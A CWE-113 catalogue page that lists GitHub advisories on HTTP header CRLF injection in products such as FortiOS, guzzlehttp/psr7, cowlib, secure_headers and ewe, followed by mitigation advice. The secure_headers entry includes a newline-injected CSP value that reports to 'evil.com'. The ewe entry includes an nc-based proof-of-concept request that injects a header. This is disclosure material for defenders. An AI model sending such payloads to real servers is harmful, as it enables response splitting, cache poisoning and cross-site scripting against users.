CWE-113
AllowedImproper Neutralization of CRLF Sequences in HTTP Headers ('HTTP Request/Response Splitting')
Abstraction: Variant · Status: Incomplete
The product receives data from an HTTP agent/component (e.g., web server, proxy, browser, etc.), but it does not neutralize or incorrectly neutralizes CR and LF characters before the data is included in outgoing HTTP headers.
177 vulnerabilities reference this CWE, most recent first.
GHSA-V8P8-W9Q2-Q67J
Vulnerability from github – Published: 2025-01-14 15:30 – Updated: 2025-01-14 15:30An improper neutralization of crlf sequences in http headers ('http response splitting') in Fortinet FortiOS 7.2.0 through 7.6.0, FortiProxy 7.2.0 through 7.4.5 allows attacker to execute unauthorized code or commands via crafted HTTP header.
{
"affected": [],
"aliases": [
"CVE-2024-54021"
],
"database_specific": {
"cwe_ids": [
"CWE-113",
"CWE-436"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-01-14T14:15:34Z",
"severity": "MODERATE"
},
"details": "An improper neutralization of crlf sequences in http headers (\u0027http response splitting\u0027) in Fortinet FortiOS 7.2.0 through 7.6.0, FortiProxy 7.2.0 through 7.4.5 allows attacker to execute unauthorized code or commands via crafted HTTP header.",
"id": "GHSA-v8p8-w9q2-q67j",
"modified": "2025-01-14T15:30:54Z",
"published": "2025-01-14T15:30:54Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-54021"
},
{
"type": "WEB",
"url": "https://fortiguard.fortinet.com/psirt/FG-IR-24-282"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-V965-25GX-6H45
Vulnerability from github – Published: 2023-09-19 15:30 – Updated: 2024-04-04 07:43Improper Neutralization of CRLF Sequences in HTTP Headers in Apache Flink Stateful Functions 3.1.0, 3.1.1 and 3.2.0 allows remote attackers to inject arbitrary HTTP headers and conduct HTTP response splitting attacks via crafted HTTP requests. Attackers could potentially inject malicious content into the HTTP response that is sent to the user's browser.
Users should upgrade to Apache Flink Stateful Functions version 3.3.0.
{
"affected": [],
"aliases": [
"CVE-2023-41834"
],
"database_specific": {
"cwe_ids": [
"CWE-113",
"CWE-74"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-09-19T13:16:22Z",
"severity": "MODERATE"
},
"details": "Improper Neutralization of CRLF Sequences in HTTP Headers in Apache Flink Stateful Functions 3.1.0, 3.1.1 and 3.2.0 allows remote attackers to inject arbitrary HTTP headers and conduct HTTP response splitting attacks via crafted HTTP requests.\u00a0Attackers could potentially inject malicious content into the HTTP response that is sent to the user\u0027s browser. \n\nUsers should upgrade to Apache Flink Stateful Functions version 3.3.0.",
"id": "GHSA-v965-25gx-6h45",
"modified": "2024-04-04T07:43:57Z",
"published": "2023-09-19T15:30:19Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-41834"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread/cvxcsdyjqc3lysj1tz7s06zwm36zvwrm"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2023/09/19/3"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-VM85-HXW5-5432
Vulnerability from github – Published: 2026-06-19 14:35 – Updated: 2026-06-19 14:35Impact
guzzlehttp/psr7 did not reject CR/LF characters in certain first-party HTTP start-line fields: the request method, protocol version, and response reason phrase. If an application placed attacker-controlled data into one of those fields and later serialized the PSR-7 message as raw HTTP/1.x, for example with Message::toString() or an equivalent serializer, the serialized message could contain attacker-controlled header lines. The issue can also be reached through Message::parseRequest() or Message::parseResponse() when malformed raw messages are parsed into first-party PSR-7 objects and then serialized again.
Creating or modifying a Request, Response, or other PSR-7 object alone is not sufficient. The issue requires the malformed message to be serialized and written to the network, forwarded, replayed, or otherwise processed by software that does not independently reject the malformed start line. This is not the normal request-sending path used by guzzlehttp/guzzle; applications using guzzlehttp/psr7 only through Guzzle's standard HTTP client APIs are not expected to be affected.
Applications are most likely to be affected when they manually serialize PSR-7 messages, forward raw HTTP messages, or use custom transports, proxying, crawling, webhook delivery, testing, or similar code. Depending on how downstream HTTP/1.1 components parse the serialized message, this may lead to header injection, response splitting, request smuggling, or cache poisoning.
Patches
The issue is patched in 2.12.1 and later. Starting in that release, guzzlehttp/psr7 rejects CR/LF characters in HTTP method, protocol version, and response reason phrase values before storing them in first-party message objects.
Workarounds
If you cannot upgrade immediately, reject CR/LF in untrusted method, protocol version, and reason phrase values before constructing or modifying PSR-7 messages.
Applications that parse, forward, replay, or serialize raw HTTP messages cannot work around the parser entry points by validating only after parsing. They should validate the raw start line before calling Message::parseRequest() or Message::parseResponse(), avoid reparsing untrusted raw messages, or upgrade. If an application runs with attacker-controlled synthetic $_SERVER values, validate REQUEST_METHOD and SERVER_PROTOCOL before calling ServerRequest::fromGlobals().
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "guzzlehttp/psr7"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.12.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-55766"
],
"database_specific": {
"cwe_ids": [
"CWE-113",
"CWE-93"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-19T14:35:57Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "### Impact\n\n`guzzlehttp/psr7` did not reject CR/LF characters in certain first-party HTTP start-line fields: the request method, protocol version, and response reason phrase. If an application placed attacker-controlled data into one of those fields and later serialized the PSR-7 message as raw HTTP/1.x, for example with `Message::toString()` or an equivalent serializer, the serialized message could contain attacker-controlled header lines. The issue can also be reached through `Message::parseRequest()` or `Message::parseResponse()` when malformed raw messages are parsed into first-party PSR-7 objects and then serialized again.\n\nCreating or modifying a `Request`, `Response`, or other PSR-7 object alone is not sufficient. The issue requires the malformed message to be serialized and written to the network, forwarded, replayed, or otherwise processed by software that does not independently reject the malformed start line. This is not the normal request-sending path used by `guzzlehttp/guzzle`; applications using `guzzlehttp/psr7` only through Guzzle\u0027s standard HTTP client APIs are not expected to be affected.\n\nApplications are most likely to be affected when they manually serialize PSR-7 messages, forward raw HTTP messages, or use custom transports, proxying, crawling, webhook delivery, testing, or similar code. Depending on how downstream HTTP/1.1 components parse the serialized message, this may lead to header injection, response splitting, request smuggling, or cache poisoning.\n\n### Patches\n\nThe issue is patched in `2.12.1` and later. Starting in that release, `guzzlehttp/psr7` rejects CR/LF characters in HTTP method, protocol version, and response reason phrase values before storing them in first-party message objects.\n\n### Workarounds\n\nIf you cannot upgrade immediately, reject CR/LF in untrusted method, protocol version, and reason phrase values before constructing or modifying PSR-7 messages.\n\nApplications that parse, forward, replay, or serialize raw HTTP messages cannot work around the parser entry points by validating only after parsing. They should validate the raw start line before calling `Message::parseRequest()` or `Message::parseResponse()`, avoid reparsing untrusted raw messages, or upgrade. If an application runs with attacker-controlled synthetic `$_SERVER` values, validate `REQUEST_METHOD` and `SERVER_PROTOCOL` before calling `ServerRequest::fromGlobals()`.",
"id": "GHSA-vm85-hxw5-5432",
"modified": "2026-06-19T14:35:57Z",
"published": "2026-06-19T14:35:57Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/guzzle/psr7/security/advisories/GHSA-vm85-hxw5-5432"
},
{
"type": "PACKAGE",
"url": "https://github.com/guzzle/psr7"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "guzzlehttp/psr7: CRLF Injection in HTTP Start-Line Serialization"
}
GHSA-W4F7-4CXR-RV3C
Vulnerability from github – Published: 2026-06-08 18:31 – Updated: 2026-06-08 18:31Improper Neutralization of CRLF Sequences in HTTP Headers ('HTTP Request/Response Splitting') vulnerability in ninenines cowlib allows HTTP response splitting via non-VCHAR bytes in structured-fields string values.
cow_http_struct_hd:escape_string/2 in cowlib only escapes \ and ", passing all other bytes through verbatim. This creates an encoder/decoder asymmetry: the matching parser accepts only printable ASCII (0x20–0x7E, excluding " and ), but the encoder emits any byte including CR and LF. An application that builds a structured HTTP header via cow_http_struct_hd:item/1 (or a higher-level wrapper such as cow_http_hd:wt_protocol/1) from attacker-controlled input can have \r\n injected into the serialized header value. Once on the wire, the injected CRLF terminates the current header and any following bytes are interpreted as a new header, enabling HTTP response splitting.
This issue affects cowlib from 2.9.0.
{
"affected": [],
"aliases": [
"CVE-2026-43966"
],
"database_specific": {
"cwe_ids": [
"CWE-113"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-06-08T17:16:43Z",
"severity": "MODERATE"
},
"details": "Improper Neutralization of CRLF Sequences in HTTP Headers (\u0027HTTP Request/Response Splitting\u0027) vulnerability in ninenines cowlib allows HTTP response splitting via non-VCHAR bytes in structured-fields string values.\n\ncow_http_struct_hd:escape_string/2 in cowlib only escapes \\ and \", passing all other bytes through verbatim. This creates an encoder/decoder asymmetry: the matching parser accepts only printable ASCII (0x20\u20130x7E, excluding \" and \\), but the encoder emits any byte including CR and LF. An application that builds a structured HTTP header via cow_http_struct_hd:item/1 (or a higher-level wrapper such as cow_http_hd:wt_protocol/1) from attacker-controlled input can have \\r\\n injected into the serialized header value. Once on the wire, the injected CRLF terminates the current header and any following bytes are interpreted as a new header, enabling HTTP response splitting.\n\nThis issue affects cowlib from 2.9.0.",
"id": "GHSA-w4f7-4cxr-rv3c",
"modified": "2026-06-08T18:31:51Z",
"published": "2026-06-08T18:31:51Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-43966"
},
{
"type": "WEB",
"url": "https://github.com/ninenines/cowboy/commit/f77cb9b5e730e300fffb551db1ba5d1c4ed878ef"
},
{
"type": "WEB",
"url": "https://github.com/ninenines/gun/commit/4f35609eb37109b106a863fc9ba83d7ee64e3e42"
},
{
"type": "WEB",
"url": "https://cna.erlef.org/cves/CVE-2026-43966.html"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/EEF-CVE-2026-43966"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:N/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-W6GH-25J9-8FM4
Vulnerability from github – Published: 2022-05-17 02:50 – Updated: 2022-05-17 02:50apt-cacher before 1.7.15 and apt-cacher-ng before 3.4 allow HTTP response splitting via encoded newline characters, related to lack of blocking for the %0[ad] regular expression.
{
"affected": [],
"aliases": [
"CVE-2017-7443"
],
"database_specific": {
"cwe_ids": [
"CWE-113"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2017-04-05T20:59:00Z",
"severity": "MODERATE"
},
"details": "apt-cacher before 1.7.15 and apt-cacher-ng before 3.4 allow HTTP response splitting via encoded newline characters, related to lack of blocking for the %0[ad] regular expression.",
"id": "GHSA-w6gh-25j9-8fm4",
"modified": "2022-05-17T02:50:38Z",
"published": "2022-05-17T02:50:38Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2017-7443"
},
{
"type": "WEB",
"url": "https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=858739"
},
{
"type": "WEB",
"url": "https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=858833"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-W978-RMPF-QMWG
Vulnerability from github – Published: 2020-01-23 02:27 – Updated: 2023-05-16 16:11Impact
If user-supplied input was passed into append/override_content_security_policy_directives, a newline could be injected leading to limited header injection.
Upon seeing a newline in the header, rails will silently create a new Content-Security-Policy header with the remaining value of the original string. It will continue to create new headers for each newline.
e.g.
override_content_security_directives(script_src: ['mycdn.com', "\ninjected\n"])`
would result in
Content-Security-Policy: ... script-src: mycdn.com
Content-Security-Policy: injected
Content-Security-Policy: rest-of-the-header
CSP supports multiple headers and all policies must be satisfied for execution to occur, but a malicious value that reports the current page is fairly trivial:
override_content_security_directives(script_src: ["mycdn.com", "\ndefault-src 'none'; report-uri evil.com"])
Content-Security-Policy: ... script-src: mycdn.com
Content-Security-Policy: default-src 'none'; report-uri evil.com
Content-Security-Policy: rest-of-the-header
Patches
This has been fixed in 6.3.0, 5.2.0, and 3.9.0
Workarounds
override_content_security_policy_directives(:frame_src, [user_input.gsub("\n", " ")])
References
https://github.com/twitter/secure_headers/security/advisories/GHSA-xq52-rv6w-397c The effect of multiple policies
For more information
If you have any questions or comments about this advisory: * Open an issue in this repo * DM us at @ndm on twitter
{
"affected": [
{
"package": {
"ecosystem": "RubyGems",
"name": "secure_headers"
},
"ranges": [
{
"events": [
{
"introduced": "6.0.0"
},
{
"fixed": "6.3.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "RubyGems",
"name": "secure_headers"
},
"ranges": [
{
"events": [
{
"introduced": "5.0.0"
},
{
"fixed": "5.2.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "RubyGems",
"name": "secure_headers"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.9.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2020-5216"
],
"database_specific": {
"cwe_ids": [
"CWE-113"
],
"github_reviewed": true,
"github_reviewed_at": "2020-01-23T02:27:18Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "### Impact\n\nIf user-supplied input was passed into append/override_content_security_policy_directives, a newline could be injected leading to limited header injection.\n\nUpon seeing a newline in the header, rails will silently create a new `Content-Security-Policy` header with the remaining value of the original string. It will continue to create new headers for each newline.\n\ne.g.\n\n```ruby\noverride_content_security_directives(script_src: [\u0027mycdn.com\u0027, \"\\ninjected\\n\"])` \n```\n\nwould result in \n\n```\nContent-Security-Policy: ... script-src: mycdn.com\nContent-Security-Policy: injected\nContent-Security-Policy: rest-of-the-header\n```\n\nCSP supports multiple headers and all policies must be satisfied for execution to occur, but a malicious value that reports the current page is fairly trivial:\n\n```ruby\noverride_content_security_directives(script_src: [\"mycdn.com\", \"\\ndefault-src \u0027none\u0027; report-uri evil.com\"]) \n```\n```\nContent-Security-Policy: ... script-src: mycdn.com\nContent-Security-Policy: default-src \u0027none\u0027; report-uri evil.com\nContent-Security-Policy: rest-of-the-header\n```\n\n### Patches\n\nThis has been fixed in 6.3.0, 5.2.0, and 3.9.0\n\n### Workarounds\n\n```ruby\noverride_content_security_policy_directives(:frame_src, [user_input.gsub(\"\\n\", \" \")])\n```\n\n### References\n\nhttps://github.com/twitter/secure_headers/security/advisories/GHSA-xq52-rv6w-397c\n[The effect of multiple policies](https://www.w3.org/TR/CSP3/#multiple-policies)\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n* Open an issue in [this repo](https://github.com/twitter/secure_headers/security/advisories/new)\n* DM us at @ndm on twitter",
"id": "GHSA-w978-rmpf-qmwg",
"modified": "2023-05-16T16:11:19Z",
"published": "2020-01-23T02:27:53Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/twitter/secure_headers/security/advisories/GHSA-w978-rmpf-qmwg"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-5216"
},
{
"type": "WEB",
"url": "https://github.com/twitter/secure_headers/commit/301695706f6a70517c2a90c6ef9b32178440a2d0"
},
{
"type": "WEB",
"url": "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/secure_headers/CVE-2020-5216.yml"
},
{
"type": "PACKAGE",
"url": "https://github.com/twitter/secure_headers"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Limited header injection when using dynamic overrides with user input in RubyGems secure_headers"
}
GHSA-WH29-FQ99-4WW5
Vulnerability from github – Published: 2025-08-29 03:30 – Updated: 2025-08-29 15:30CGI::Simple versions before 1.282 for Perl has a HTTP response splitting flaw This vulnerability is a confirmed HTTP response splitting flaw in CGI::Simple that allows HTTP response header injection, which can be used for reflected XSS or open redirect under certain conditions.
Although some validation exists, it can be bypassed using URL-encoded values, allowing an attacker to inject untrusted content into the response via query parameters.
As a result, an attacker can inject a line break (e.g. %0A) into the parameter value, causing the server to split the HTTP response and inject arbitrary headers or even an HTML/JavaScript body, leading to reflected cross-site scripting (XSS), open redirect or other attacks.
The issue documented in CVE-2010-4410 https://www.cve.org/CVERecord?id=CVE-2010-4410 is related but the fix was incomplete.
Impact
By injecting %0A (newline) into a query string parameter, an attacker can:
- Break the current HTTP header
- Inject a new header or entire body
-
Deliver a script payload that is reflected in the server’s response That can lead to the following attacks:
-
reflected XSS
- open redirect
- cache poisoning
- header manipulation
{
"affected": [],
"aliases": [
"CVE-2025-40927"
],
"database_specific": {
"cwe_ids": [
"CWE-113"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-08-29T01:15:34Z",
"severity": "HIGH"
},
"details": "CGI::Simple versions before 1.282 for Perl has a HTTP response splitting flaw\nThis vulnerability is a confirmed HTTP response splitting\u00a0flaw in CGI::Simple\u00a0that allows HTTP response header injection, which can be used for reflected XSS or open redirect under certain conditions.\n\nAlthough some validation exists, it can be bypassed using URL-encoded values, allowing an attacker to inject untrusted content into the response via query parameters.\n\n\n\nAs a result, an attacker can inject a line break (e.g. %0A) into the parameter value, causing the server to split the HTTP response and inject arbitrary headers or even an HTML/JavaScript body, leading to reflected cross-site scripting (XSS), open redirect or other attacks.\n\nThe issue documented in CVE-2010-4410 https://www.cve.org/CVERecord?id=CVE-2010-4410 is related but the fix was incomplete.\n\nImpact\n\nBy injecting %0A\u00a0(newline) into a query string parameter, an attacker can:\n\n * Break the current HTTP header\n * Inject a new header or entire body\n * Deliver a script payload that is reflected in the server\u2019s response\nThat can lead to the following attacks:\n\n * reflected XSS\n * open redirect\n * cache poisoning\n * header manipulation",
"id": "GHSA-wh29-fq99-4ww5",
"modified": "2025-08-29T15:30:38Z",
"published": "2025-08-29T03:30:50Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-40927"
},
{
"type": "WEB",
"url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-2320"
},
{
"type": "WEB",
"url": "https://datatracker.ietf.org/doc/html/rfc7230#section-3"
},
{
"type": "WEB",
"url": "https://metacpan.org/release/MANWAR/CGI-Simple-1.281/diff/MANWAR/CGI-Simple-1.282/lib/CGI/Simple.pm"
},
{
"type": "WEB",
"url": "https://metacpan.org/release/MANWAR/CGI-Simple-1.281/source/lib/CGI/Simple.pm#L1031-1035"
},
{
"type": "WEB",
"url": "https://owasp.org/www-community/attacks/HTTP_Response_Splitting"
},
{
"type": "WEB",
"url": "https://rt.perl.org/Public/Bug/Display.html?id=21951"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-WWWQ-JMFM-4F5C
Vulnerability from github – Published: 2025-01-31 09:31 – Updated: 2025-01-31 09:31An issue was discovered in GFI Kerio Control 9.2.5 through 9.4.5. The dest GET parameter passed to the /nonauth/addCertException.cs and /nonauth/guestConfirm.cs and /nonauth/expiration.cs pages is not properly sanitized before being used to generate a Location HTTP header in a 302 HTTP response. This can be exploited to perform Open Redirect or HTTP Response Splitting attacks, which in turn lead to Reflected Cross-Site Scripting (XSS). Remote command execution can be achieved by leveraging the upgrade feature in the admin interface.
{
"affected": [],
"aliases": [
"CVE-2024-52875"
],
"database_specific": {
"cwe_ids": [
"CWE-113"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-01-31T08:15:07Z",
"severity": "HIGH"
},
"details": "An issue was discovered in GFI Kerio Control 9.2.5 through 9.4.5. The dest GET parameter passed to the /nonauth/addCertException.cs and /nonauth/guestConfirm.cs and /nonauth/expiration.cs pages is not properly sanitized before being used to generate a Location HTTP header in a 302 HTTP response. This can be exploited to perform Open Redirect or HTTP Response Splitting attacks, which in turn lead to Reflected Cross-Site Scripting (XSS). Remote command execution can be achieved by leveraging the upgrade feature in the admin interface.",
"id": "GHSA-wwwq-jmfm-4f5c",
"modified": "2025-01-31T09:31:49Z",
"published": "2025-01-31T09:31:49Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-52875"
},
{
"type": "WEB",
"url": "https://karmainsecurity.com/hacking-kerio-control-via-cve-2024-52875"
},
{
"type": "WEB",
"url": "http://seclists.org/fulldisclosure/2024/Dec/15"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-X2W3-23JR-HRPF
Vulnerability from github – Published: 2026-04-01 22:18 – Updated: 2026-04-06 17:25Summary
The encode_headers function in src/ewe/internal/encoder.gleam directly interpolates response header keys and values into raw HTTP bytes without validating or stripping CRLF (\r\n) sequences. An application that passes user-controlled data into response headers (e.g., setting a Location redirect header from a request parameter) allows an attacker to inject arbitrary HTTP response content, leading to response splitting, cache poisoning, and possible cross-site scripting.
Notably, ewe does validate CRLF in incoming request headers via validate_field_value() in the HTTP/1.1 parser — but provides no equivalent protection for outgoing response headers in the encoder.
Details
File: src/ewe/internal/encoder.gleam
Vulnerable code:
fn encode_headers(headers: List(#(String, String))) -> BitArray {
let headers =
list.fold(headers, <<>>, fn(acc, headers) {
let #(key, value) = headers
<<acc:bits, key:utf8, ": ", value:utf8, "\r\n">>
})
<<headers:bits, "\r\n">>
}
Both key and value are embedded directly into the BitArray output. If either contains \r\n, the resulting bytes become a structurally valid but attacker-controlled HTTP response, terminating the current header early and injecting new headers or a second HTTP response.
Contrast with request parsing (src/ewe/internal/http1.gleam): incoming header values are protected:
use value <- try(
validate_field_value(value) |> replace_error(InvalidHeaders)
)
No analogous validation exists for outgoing header values in the encoder. The solution is to strip or reject \r (0x0D) and \n (0x0A) from all header key and value strings in encode_headers before encoding, mirroring the validation already applied to incoming request headers via validate_field_value()
PoC
An ewe application echoes a user-supplied redirect URL into a Location header:
fn handle_request(req: Request) -> Response {
let redirect_url =
request.get_query(req)
|> result.try(list.key_find(_, "next"))
|> result.unwrap("/home")
response.new(302)
|> response.set_header("location", redirect_url)
|> response.set_body(ewe.Empty)
}
Attacker request:
printf 'GET /?next=https://example.com%%0d%%0aX-Injected:%%20true HTTP/1.1\r\nHost: localhost\r\n\r\n' | nc -w 2 localhost 8080
Resulting response:
HTTP/1.1 302 Found
location: https://example.com
X-Injected: true
content-length: 0
date: Tue, 24 Mar 2026 07:53:00 GMT
connection: keep-alive
The X-Injected: true header appears as a separate response header, confirming that CRLF sequences in user input are not sanitized by the encoder.
{
"affected": [
{
"package": {
"ecosystem": "Hex",
"name": "ewe"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.0.6"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-34715"
],
"database_specific": {
"cwe_ids": [
"CWE-113"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-01T22:18:27Z",
"nvd_published_at": "2026-04-02T18:16:32Z",
"severity": "MODERATE"
},
"details": "### Summary\n\nThe `encode_headers` function in `src/ewe/internal/encoder.gleam` directly interpolates response header keys and values into raw HTTP bytes without validating or stripping CRLF (`\\r\\n`) sequences. An application that passes user-controlled data into response headers (e.g., setting a `Location` redirect header from a request parameter) allows an attacker to inject arbitrary HTTP response content, leading to response splitting, cache poisoning, and possible cross-site scripting.\n\nNotably, ewe *does* validate CRLF in **incoming** request headers via `validate_field_value()` in the HTTP/1.1 parser \u2014 but provides no equivalent protection for **outgoing** response headers in the encoder.\n\n### Details\n\n**File:** `src/ewe/internal/encoder.gleam`\n\n**Vulnerable code:**\n```gleam\nfn encode_headers(headers: List(#(String, String))) -\u003e BitArray {\n let headers =\n list.fold(headers, \u003c\u003c\u003e\u003e, fn(acc, headers) {\n let #(key, value) = headers\n \u003c\u003cacc:bits, key:utf8, \": \", value:utf8, \"\\r\\n\"\u003e\u003e\n })\n\n \u003c\u003cheaders:bits, \"\\r\\n\"\u003e\u003e\n}\n```\n\nBoth `key` and `value` are embedded directly into the `BitArray` output. If either contains `\\r\\n`, the resulting bytes become a structurally valid but attacker-controlled HTTP response, terminating the current header early and injecting new headers or a second HTTP response.\n\n**Contrast with request parsing** (`src/ewe/internal/http1.gleam`): incoming header values are protected:\n```gleam\nuse value \u003c- try(\n validate_field_value(value) |\u003e replace_error(InvalidHeaders)\n)\n```\n\nNo analogous validation exists for outgoing header values in the encoder. The solution is to strip or reject `\\r` (0x0D) and `\\n` (0x0A) from all header key and value strings in `encode_headers` before encoding, mirroring the validation already applied to incoming request headers via `validate_field_value()`\n\n### PoC\n\nAn ewe application echoes a user-supplied redirect URL into a `Location` header:\n\n```gleam\nfn handle_request(req: Request) -\u003e Response {\n let redirect_url =\n request.get_query(req)\n |\u003e result.try(list.key_find(_, \"next\"))\n |\u003e result.unwrap(\"/home\")\n\n response.new(302)\n |\u003e response.set_header(\"location\", redirect_url)\n |\u003e response.set_body(ewe.Empty)\n}\n```\n\nAttacker request:\n```bash\nprintf \u0027GET /?next=https://example.com%%0d%%0aX-Injected:%%20true HTTP/1.1\\r\\nHost: localhost\\r\\n\\r\\n\u0027 | nc -w 2 localhost 8080\n```\n\nResulting response:\n```\nHTTP/1.1 302 Found\nlocation: https://example.com\nX-Injected: true\ncontent-length: 0\ndate: Tue, 24 Mar 2026 07:53:00 GMT\nconnection: keep-alive\n\n\n```\n\nThe `X-Injected: true` header appears as a separate response header, confirming that CRLF sequences in user input are not sanitized by the encoder.",
"id": "GHSA-x2w3-23jr-hrpf",
"modified": "2026-04-06T17:25:10Z",
"published": "2026-04-01T22:18:27Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/vshakitskiy/ewe/security/advisories/GHSA-x2w3-23jr-hrpf"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34715"
},
{
"type": "WEB",
"url": "https://github.com/vshakitskiy/ewe/commit/ce4ff214d32626a10fda9398dc94a2d720e17446"
},
{
"type": "PACKAGE",
"url": "https://github.com/vshakitskiy/ewe"
},
{
"type": "WEB",
"url": "https://github.com/vshakitskiy/ewe/releases/tag/v3.0.6"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "ewe Has Improper Neutralization of CRLF Sequences in HTTP Headers (HTTP Request/Response Splitting)"
}
GHSA-X3QR-8F53-FG74
Vulnerability from github – Published: 2026-05-12 00:31 – Updated: 2026-05-12 15:31HTTP::Tiny versions before 0.093 for Perl do not validate CRLF in HTTP request lines or control field header values.
The unvalidated inputs are the method and URI in the request line, the URL host that becomes the Host: header, and HTTP/1.1 control data field values.
An attacker who controls one of these inputs, for example a user supplied URL passed to a webhook or URL fetch endpoint, can inject additional headers and smuggle requests to the upstream server.
{
"affected": [],
"aliases": [
"CVE-2026-7010"
],
"database_specific": {
"cwe_ids": [
"CWE-113"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-05-11T22:22:14Z",
"severity": "MODERATE"
},
"details": "HTTP::Tiny versions before 0.093 for Perl do not validate CRLF in HTTP request lines or control field header values.\n\nThe unvalidated inputs are the method and URI in the request line, the URL host that becomes the `Host:` header, and HTTP/1.1 control data field values.\n\nAn attacker who controls one of these inputs, for example a user supplied URL passed to a webhook or URL fetch endpoint, can inject additional headers and smuggle requests to the upstream server.",
"id": "GHSA-x3qr-8f53-fg74",
"modified": "2026-05-12T15:31:35Z",
"published": "2026-05-12T00:31:15Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-7010"
},
{
"type": "WEB",
"url": "https://github.com/Perl-Toolchain-Gang/HTTP-Tiny/commit/d73c7651e82ace02693842df55928b6c3ae7c38d.patch"
},
{
"type": "WEB",
"url": "https://metacpan.org/release/HAARG/HTTP-Tiny-0.093-TRIAL/changes"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2026/05/11/17"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
Mitigation
Strategy: Input Validation
Construct HTTP headers very carefully, avoiding the use of non-validated input data.
Mitigation MIT-5
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. If an input does not strictly conform to specifications, reject it or transform it into something that conforms.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
